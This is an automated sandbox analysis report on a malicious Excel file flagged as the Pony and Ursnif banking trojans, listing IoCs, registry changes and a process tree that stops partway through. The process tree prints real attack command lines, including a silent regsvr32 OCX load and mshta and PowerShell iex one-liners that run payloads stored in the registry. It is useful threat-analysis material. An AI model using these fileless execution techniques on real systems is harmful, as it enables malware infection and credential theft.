pony | 71f08e9b72d2349a42b7b594a2589eed621ae0f7f581406cfcc76f7d367c9590

Analysis

max time kernel
150s
max time network
141s
platform
windows10_x64
resource
win10
submitted
14-07-2020 05:18

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

tr_6.xls
Size

90KB
MD5

a9da58b136b998405015544f03a31626
SHA1

63450e902625e771f03056ca104c146c49cecb89
SHA256

71f08e9b72d2349a42b7b594a2589eed621ae0f7f581406cfcc76f7d367c9590
SHA512

acbcdbe8070e3f073e6046216ffed61785a15cb5e69a1fd70c86193a0a5ecebcb3780e063038479fb35640f8cd0640f764b5e0b93f042b448224a10f1060f261

Score

10^/10

discovery rat spyware stealer pony banker trojan gozi_ifsb ursnif

Malware Config

Signatures

Suspicious use of FindShellTrayWindow 5 IoCs

Processes:

EXCEL.EXEiexplore.exe

pid process

2460 EXCEL.EXE
2460 EXCEL.EXE
3716 iexplore.exe
3716 iexplore.exe
3716 iexplore.exe

Suspicious use of AdjustPrivilegeToken 96 IoCs

Processes:

svchost.exesvchost.exe

description	pid	process
Token: SeImpersonatePrivilege	996	svchost.exe
Token: SeTcbPrivilege	996	svchost.exe
Token: SeChangeNotifyPrivilege	996	svchost.exe
Token: SeCreateTokenPrivilege	996	svchost.exe
Token: SeBackupPrivilege	996	svchost.exe
Token: SeRestorePrivilege	996	svchost.exe
Token: SeIncreaseQuotaPrivilege	996	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	996	svchost.exe
Token: SeImpersonatePrivilege	996	svchost.exe
Token: SeTcbPrivilege	996	svchost.exe
Token: SeChangeNotifyPrivilege	996	svchost.exe
Token: SeCreateTokenPrivilege	996	svchost.exe
Token: SeBackupPrivilege	996	svchost.exe
Token: SeRestorePrivilege	996	svchost.exe
Token: SeIncreaseQuotaPrivilege	996	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	996	svchost.exe
Token: SeImpersonatePrivilege	996	svchost.exe
Token: SeTcbPrivilege	996	svchost.exe
Token: SeChangeNotifyPrivilege	996	svchost.exe
Token: SeCreateTokenPrivilege	996	svchost.exe
Token: SeBackupPrivilege	996	svchost.exe
Token: SeRestorePrivilege	996	svchost.exe
Token: SeIncreaseQuotaPrivilege	996	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	996	svchost.exe
Token: SeImpersonatePrivilege	996	svchost.exe
Token: SeTcbPrivilege	996	svchost.exe
Token: SeChangeNotifyPrivilege	996	svchost.exe
Token: SeCreateTokenPrivilege	996	svchost.exe
Token: SeBackupPrivilege	996	svchost.exe
Token: SeRestorePrivilege	996	svchost.exe
Token: SeIncreaseQuotaPrivilege	996	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	996	svchost.exe
Token: SeImpersonatePrivilege	996	svchost.exe
Token: SeTcbPrivilege	996	svchost.exe
Token: SeChangeNotifyPrivilege	996	svchost.exe
Token: SeCreateTokenPrivilege	996	svchost.exe
Token: SeBackupPrivilege	996	svchost.exe
Token: SeRestorePrivilege	996	svchost.exe
Token: SeIncreaseQuotaPrivilege	996	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	996	svchost.exe
Token: SeImpersonatePrivilege	1408	svchost.exe
Token: SeTcbPrivilege	1408	svchost.exe
Token: SeChangeNotifyPrivilege	1408	svchost.exe
Token: SeCreateTokenPrivilege	1408	svchost.exe
Token: SeBackupPrivilege	1408	svchost.exe
Token: SeRestorePrivilege	1408	svchost.exe
Token: SeIncreaseQuotaPrivilege	1408	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1408	svchost.exe
Token: SeImpersonatePrivilege	1408	svchost.exe
Token: SeTcbPrivilege	1408	svchost.exe
Token: SeChangeNotifyPrivilege	1408	svchost.exe
Token: SeCreateTokenPrivilege	1408	svchost.exe
Token: SeBackupPrivilege	1408	svchost.exe
Token: SeRestorePrivilege	1408	svchost.exe
Token: SeIncreaseQuotaPrivilege	1408	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1408	svchost.exe
Token: SeImpersonatePrivilege	1408	svchost.exe
Token: SeTcbPrivilege	1408	svchost.exe
Token: SeChangeNotifyPrivilege	1408	svchost.exe
Token: SeCreateTokenPrivilege	1408	svchost.exe
Token: SeBackupPrivilege	1408	svchost.exe
Token: SeRestorePrivilege	1408	svchost.exe
Token: SeIncreaseQuotaPrivilege	1408	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1408	svchost.exe

Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

powershell.exeExplorer.EXEcmd.exe

pid process

2848 powershell.exe
2988 Explorer.EXE
2988 Explorer.EXE
2988 Explorer.EXE
2180 cmd.exe
2988 Explorer.EXE
Pony,Fareit
Pony is a Remote Access Trojan application that steals information.
rat spyware stealer pony

pid	process
2848	powershell.exe
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2180	cmd.exe
2988	Explorer.EXE

Checks whether UAC is enabled 3 IoCs

Processes:

iexplore.exeIEXPLORE.EXEIEXPLORE.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	iexplore.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	IEXPLORE.EXE
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	IEXPLORE.EXE

Ursnif, Dreambot
Ursnif is a variant of the Gozi IFSB with more capabilities.
banker trojan ursnif

Suspicious use of SetWindowsHookEx 24 IoCs

Processes:

EXCEL.EXEiexplore.exeIEXPLORE.EXEIEXPLORE.EXE

pid	process
2460	EXCEL.EXE
2460	EXCEL.EXE
2460	EXCEL.EXE
2460	EXCEL.EXE
2460	EXCEL.EXE
2460	EXCEL.EXE
2460	EXCEL.EXE
2460	EXCEL.EXE
2460	EXCEL.EXE
2460	EXCEL.EXE
2460	EXCEL.EXE
2460	EXCEL.EXE
3716	iexplore.exe
3716	iexplore.exe
1848	IEXPLORE.EXE
1848	IEXPLORE.EXE
3716	iexplore.exe
3716	iexplore.exe
688	IEXPLORE.EXE
688	IEXPLORE.EXE
3716	iexplore.exe
3716	iexplore.exe
1848	IEXPLORE.EXE
1848	IEXPLORE.EXE

Loads dropped DLL 1 IoCs

Processes:

regsvr32.exe

pid process

3976 regsvr32.exe
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2128 3976 WerFault.exe regsvr32.exe
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

PING.EXE

pid process

3424 PING.EXE
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

14 api.ipify.org
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

3424 PING.EXE

pid	process
3976	regsvr32.exe

pid	pid_target	process	target process
2128	3976	WerFault.exe	regsvr32.exe

pid	process
3424	PING.EXE

flow	ioc
14	api.ipify.org

pid	process
3424	PING.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 38 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXEIEXPLORE.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "1338293072"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000f72535b3d71787499ad6028e231c2f4e00000000020000000000106600000001000020000000b05cf126a1b969a5226e02d41f05ed77a0e88996380e6d1fad56282d7e201ddf000000000e8000000002000020000000d50812126034cef219b61000e67c4757cc7fa70447dee9e8d5aa098f8f4c4abb20000000874c6f99d06adf681e78048363f2d0e8331ec083024b2ed7b212be227f708c9a40000000678e503078846534ba2af90f07e1266efa3736f7bbd035bf86f7e58a205e97a18f346bf526294cdf5e3f4e8b036283c62296d9428a7be736092b33679277b3cc	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "30824862"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "1335636724"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 30b834409e59d601	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30824862"	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = a0753d419e59d601	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "30824862"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "1338293072"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000f72535b3d71787499ad6028e231c2f4e000000000200000000001066000000010000200000000521178d515ce7cdd51561db1938756a24e1121cacef2ccd42bcd3000fd46afa000000000e8000000002000020000000b7f1b850fc6c6d9a119b29b66442e243d3f03ce6747684d9e4d89b72073f60b520000000abb4cc361bd91a6341b531ebe94d71aa01117f57fd0a87e75ee95277f6d61fad40000000bba4c4f55af571b1e24e66236d07a55bf4aa2752e9e8d8a637c5abd25a4513b4adf6ae3c632033d0d21cfe91e60d11c3301b181a7e0371e5e1023ee8d224f495	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "1335636724"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000000000001000000ffffffffffffffffffffffffffffffff3e0000003e000000c4040000a3020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{7B2459F4-C591-11EA-95F0-F6ED97C2B3AA} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000000000001000000ffffffffffffffffffffffffffffffff5800000000000000de04000065020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30824862"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	iexplore.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Checks for installed software on the system 1 TTPs 7 IoCs

discovery

Query Registry

T1012

Processes:

svchost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall	svchost.exe
Key enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall	svchost.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName	svchost.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\DisplayName	svchost.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\DisplayName	svchost.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}\DisplayName	svchost.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\DisplayName	svchost.exe

Gozi, Gozi IFSB
Gozi ISFB is a well-known and widely distributed banking trojan.
banker trojan gozi_ifsb
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2460 EXCEL.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

regsvr32.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1660	2460	regsvr32.exe	EXCEL.EXE

Suspicious use of WriteProcessMemory 76 IoCs

Processes:

EXCEL.EXEregsvr32.exeregsvr32.exesvchost.exeiexplore.exemshta.exepowershell.execsc.execsc.exeExplorer.EXEcmd.execmd.exe

description	pid	process	target process
PID 2460 wrote to memory of 1660	2460	EXCEL.EXE	regsvr32.exe
PID 2460 wrote to memory of 1660	2460	EXCEL.EXE	regsvr32.exe
PID 1660 wrote to memory of 3976	1660	regsvr32.exe	regsvr32.exe
PID 1660 wrote to memory of 3976	1660	regsvr32.exe	regsvr32.exe
PID 1660 wrote to memory of 3976	1660	regsvr32.exe	regsvr32.exe
PID 3976 wrote to memory of 996	3976	regsvr32.exe	svchost.exe
PID 3976 wrote to memory of 996	3976	regsvr32.exe	svchost.exe
PID 3976 wrote to memory of 996	3976	regsvr32.exe	svchost.exe
PID 3976 wrote to memory of 996	3976	regsvr32.exe	svchost.exe
PID 3976 wrote to memory of 996	3976	regsvr32.exe	svchost.exe
PID 996 wrote to memory of 2976	996	svchost.exe	cmd.exe
PID 996 wrote to memory of 2976	996	svchost.exe	cmd.exe
PID 996 wrote to memory of 2976	996	svchost.exe	cmd.exe
PID 996 wrote to memory of 1408	996	svchost.exe	svchost.exe
PID 996 wrote to memory of 1408	996	svchost.exe	svchost.exe
PID 996 wrote to memory of 1408	996	svchost.exe	svchost.exe
PID 996 wrote to memory of 1408	996	svchost.exe	svchost.exe
PID 996 wrote to memory of 1408	996	svchost.exe	svchost.exe
PID 996 wrote to memory of 1564	996	svchost.exe	BN2B51.tmp
PID 996 wrote to memory of 1564	996	svchost.exe	BN2B51.tmp
PID 996 wrote to memory of 1564	996	svchost.exe	BN2B51.tmp
PID 3716 wrote to memory of 1848	3716	iexplore.exe	IEXPLORE.EXE
PID 3716 wrote to memory of 1848	3716	iexplore.exe	IEXPLORE.EXE
PID 3716 wrote to memory of 1848	3716	iexplore.exe	IEXPLORE.EXE
PID 3716 wrote to memory of 688	3716	iexplore.exe	IEXPLORE.EXE
PID 3716 wrote to memory of 688	3716	iexplore.exe	IEXPLORE.EXE
PID 3716 wrote to memory of 688	3716	iexplore.exe	IEXPLORE.EXE
PID 1552 wrote to memory of 2848	1552	mshta.exe	powershell.exe
PID 1552 wrote to memory of 2848	1552	mshta.exe	powershell.exe
PID 2848 wrote to memory of 1924	2848	powershell.exe	csc.exe
PID 2848 wrote to memory of 1924	2848	powershell.exe	csc.exe
PID 1924 wrote to memory of 2448	1924	csc.exe	cvtres.exe
PID 1924 wrote to memory of 2448	1924	csc.exe	cvtres.exe
PID 2848 wrote to memory of 3660	2848	powershell.exe	csc.exe
PID 2848 wrote to memory of 3660	2848	powershell.exe	csc.exe
PID 3660 wrote to memory of 2852	3660	csc.exe	cvtres.exe
PID 3660 wrote to memory of 2852	3660	csc.exe	cvtres.exe
PID 2848 wrote to memory of 2988	2848	powershell.exe	Explorer.EXE
PID 2848 wrote to memory of 2988	2848	powershell.exe	Explorer.EXE
PID 2848 wrote to memory of 2988	2848	powershell.exe	Explorer.EXE
PID 2848 wrote to memory of 2988	2848	powershell.exe	Explorer.EXE
PID 2988 wrote to memory of 3356	2988	Explorer.EXE	RuntimeBroker.exe
PID 2988 wrote to memory of 3356	2988	Explorer.EXE	RuntimeBroker.exe
PID 2988 wrote to memory of 2180	2988	Explorer.EXE	cmd.exe
PID 2988 wrote to memory of 2180	2988	Explorer.EXE	cmd.exe
PID 2988 wrote to memory of 2180	2988	Explorer.EXE	cmd.exe
PID 2988 wrote to memory of 3356	2988	Explorer.EXE	RuntimeBroker.exe
PID 2988 wrote to memory of 3356	2988	Explorer.EXE	RuntimeBroker.exe
PID 2988 wrote to memory of 3716	2988	Explorer.EXE	iexplore.exe
PID 2988 wrote to memory of 3716	2988	Explorer.EXE	iexplore.exe
PID 2988 wrote to memory of 2180	2988	Explorer.EXE	cmd.exe
PID 2988 wrote to memory of 2180	2988	Explorer.EXE	cmd.exe
PID 2988 wrote to memory of 3716	2988	Explorer.EXE	iexplore.exe
PID 2988 wrote to memory of 3716	2988	Explorer.EXE	iexplore.exe
PID 2180 wrote to memory of 3424	2180	cmd.exe	PING.EXE
PID 2180 wrote to memory of 3424	2180	cmd.exe	PING.EXE
PID 2180 wrote to memory of 3424	2180	cmd.exe	PING.EXE
PID 2180 wrote to memory of 3424	2180	cmd.exe	PING.EXE
PID 2180 wrote to memory of 3424	2180	cmd.exe	PING.EXE
PID 2988 wrote to memory of 2564	2988	Explorer.EXE	cmd.exe
PID 2988 wrote to memory of 2564	2988	Explorer.EXE	cmd.exe
PID 2988 wrote to memory of 3024	2988	Explorer.EXE	cmd.exe
PID 2988 wrote to memory of 3024	2988	Explorer.EXE	cmd.exe
PID 3024 wrote to memory of 3328	3024	cmd.exe	nslookup.exe

Suspicious use of SetThreadContext 8 IoCs

Processes:

regsvr32.exesvchost.exepowershell.exeExplorer.EXEcmd.exe

description	pid	process	target process
PID 3976 set thread context of 996	3976	regsvr32.exe	svchost.exe
PID 996 set thread context of 1408	996	svchost.exe	svchost.exe
PID 2848 set thread context of 2988	2848	powershell.exe	Explorer.EXE
PID 2988 set thread context of 3356	2988	Explorer.EXE	RuntimeBroker.exe
PID 2988 set thread context of 2180	2988	Explorer.EXE	cmd.exe
PID 2988 set thread context of 3716	2988	Explorer.EXE	iexplore.exe
PID 2180 set thread context of 3424	2180	cmd.exe	PING.EXE
PID 2988 set thread context of 2848	2988	Explorer.EXE	WinMail.exe

Suspicious behavior: EnumeratesProcesses 1932 IoCs

Processes:

svchost.exeWerFault.exepowershell.exeExplorer.EXE

pid	process
996	svchost.exe
996	svchost.exe
996	svchost.exe
996	svchost.exe
2128	WerFault.exe
2128	WerFault.exe
2128	WerFault.exe
2128	WerFault.exe
2128	WerFault.exe
2128	WerFault.exe
2128	WerFault.exe
2128	WerFault.exe
2128	WerFault.exe
2128	WerFault.exe
2128	WerFault.exe
2128	WerFault.exe
2128	WerFault.exe
2128	WerFault.exe
2128	WerFault.exe
2848	powershell.exe
2848	powershell.exe
2848	powershell.exe
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE
2988	Explorer.EXE

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081
Executes dropped EXE 1 IoCs

Processes:

BN2B51.tmp

pid process

1564 BN2B51.tmp

pid	process
1564	BN2B51.tmp

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:2988
- C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
  "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tr_6.xls"
  2⤵
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of WriteProcessMemory
  PID:2460
- - C:\Windows\System32\regsvr32.exe
    "C:\Windows\System32\regsvr32.exe" /s /i dDdoiBj.ocx
    3⤵
    - Process spawned unexpected child process
    - Suspicious use of WriteProcessMemory
    PID:1660
  - - C:\Windows\SysWOW64\regsvr32.exe
      /s /i dDdoiBj.ocx
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      Suspicious use of SetThreadContext
      PID:3976
    - - C:\Windows\SysWOW64\svchost.exe
        
        C:\Windows\System32\svchost.exe
        5⤵
        Suspicious use of AdjustPrivilegeToken
        Checks for installed software on the system
        Suspicious use of WriteProcessMemory
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        
        PID:996
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /K
        6⤵
        
        PID:2976
      - C:\Windows\SysWOW64\svchost.exe
        
        C:\Windows\System32\svchost.exe
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1408
      - C:\Users\Admin\AppData\Local\Temp\BN2B51.tmp
        
        C:\Users\Admin\AppData\Local\Temp\BN2B51.tmp
        6⤵
        Executes dropped EXE
        
        PID:1564
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3976 -s 664
        5⤵
        Program crash
        Suspicious behavior: EnumeratesProcesses
        
        PID:2128
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\2FFAFA40-C261-3936-44D3-167DB8B7AA01\\\Addrient'));if(!window.flag)close()</script>"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1552
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\2FFAFA40-C261-3936-44D3-167DB8B7AA01").appiness))
    3⤵
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    PID:2848
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hrp3l234\hrp3l234.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1924
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES91FA.tmp" "c:\Users\Admin\AppData\Local\Temp\hrp3l234\CSC870EFA2CBA194494BB911498C2B9A7CF.TMP"
        5⤵
        
        PID:2448
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0snenslu\0snenslu.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3660
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
